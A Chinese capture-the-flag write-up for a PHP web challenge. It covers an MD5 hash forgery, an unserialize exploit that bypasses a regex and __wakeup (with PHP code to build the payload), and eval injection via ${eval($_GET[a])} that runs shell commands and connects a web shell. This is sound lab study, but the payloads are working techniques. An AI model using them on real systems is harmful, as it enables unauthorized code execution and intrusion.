WP
这题也是学习到了很多新的姿势,是一个不错的题目。
WP
进入环境,点击haha,提示:you are 123;if you are not 123,you can get the flag。
再看看,发现get参数里有key=123&hash=f9109d5f83921a551cf859f853afe7bb
f12查看源码,发现$hash=md5($sign.$key);the length of $sign is 8
因此我们需要知道$sign是多少。我利用在线md5解密工具,上面的hash解出来是kkkkkk01123。因此我们让key不是123,然后拼接到kkkkkk01后面再md5就构造成功了:
http://dde0956ef78e40029e7935a10fd520ae340296b7e77248fc.changame.ichunqiu.com/index.php?key=1&hash=dd7a859821ed4b03748c278f7e0e5b92
这时候页面回显:
next step is Gu3ss_m3_h2h2.php
我们访问一下这个页面,还是代码审计。
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("Gu3ss_m3_h2h2.php");
}
?>
这里是反序列化漏洞的利用。有2个需要注意的点。首先是正则表达是的绕过,我们可以在前面加个+来绕过:
O:4:"Demo":1:{
s:10:"Demofile";s:16:"f15g_1s_here.php";}
O:+4:"Demo":1:{
s:10:"Demofile";s:16:"f15g_1s_here.php";}
然后就是__wakeup的绕过,可以这样:
O:+4:"Demo":1:{
s:10:"Demofile";s:16:"f15g_1s_here.php";}
O:+4:"Demo":2:{
s:10:"Demofile";s:16:"f15g_1s_here.php";}
但是!这时候如果直接base64解码的话,大概率是不行的。我一开始也遇到了这个问题,后来得到了解决:
private属性序列化的时候格式是 %00类名%00成员名
private属性序列化的时候格式是 %00类名%00成员名
也就是说,真正的是这样的:
O%3A%2B4%3A%22Demo%22%3A2%3A%7Bs%3A10%3A%22%00Demo%00file%22%3Bs%3A16%3A%22f15g_1s_here.php%22%3B%7D
注意%00Demo%00file,如果我们直接复制粘贴然后更改,就会出错。最好用PHP代码来改:
<?php
class Demo {
private $file = 'f15g_1s_here.php';
}
$a = new Demo;
$s = serialize($a);
$s = str_replace('O:4', 'O:+4',$s);//绕过正则
$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数
echo base64_encode($s);//最后base64编码
这样打印出的就是正确的base64编码了。这里Get到了一个新姿势。
然后就可以获得f15g_1s_here.php的源码:
<?php
if (isset($_GET['val'])) {
$val = $_GET['val'];
eval('$value="' . addslashes($val) . '";');
} else {
die('hahaha!');
}
?>
这里又是一个新姿势了。其实也不算新姿势,只是自己以前仅仅了解但是不会用。
主要就是eval的命令执行。
我们这样构造:
?val=${
eval($_GET[a])}&a=echo `ls`;
利用的原理就是像这样实现命令执行:
${
phpinfo()}
这样成功执行了ls命令,发现了flag所在的文件,然后cat就可以获得flag:
?val=${
eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;
当然,也可以用蚁剑连:
http://dde0956ef78e40029e7935a10fd520ae340296b7e77248fc.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_POST[a])}
总结
这个题目对于我来说最重要的就是最后的命令执行那里,利用${phpinfo}这样命令执行的方式和在里面传递$_GET[a],然后把代码写到另一个参数a里的方式都是我所没掌握的。还是要学习啊。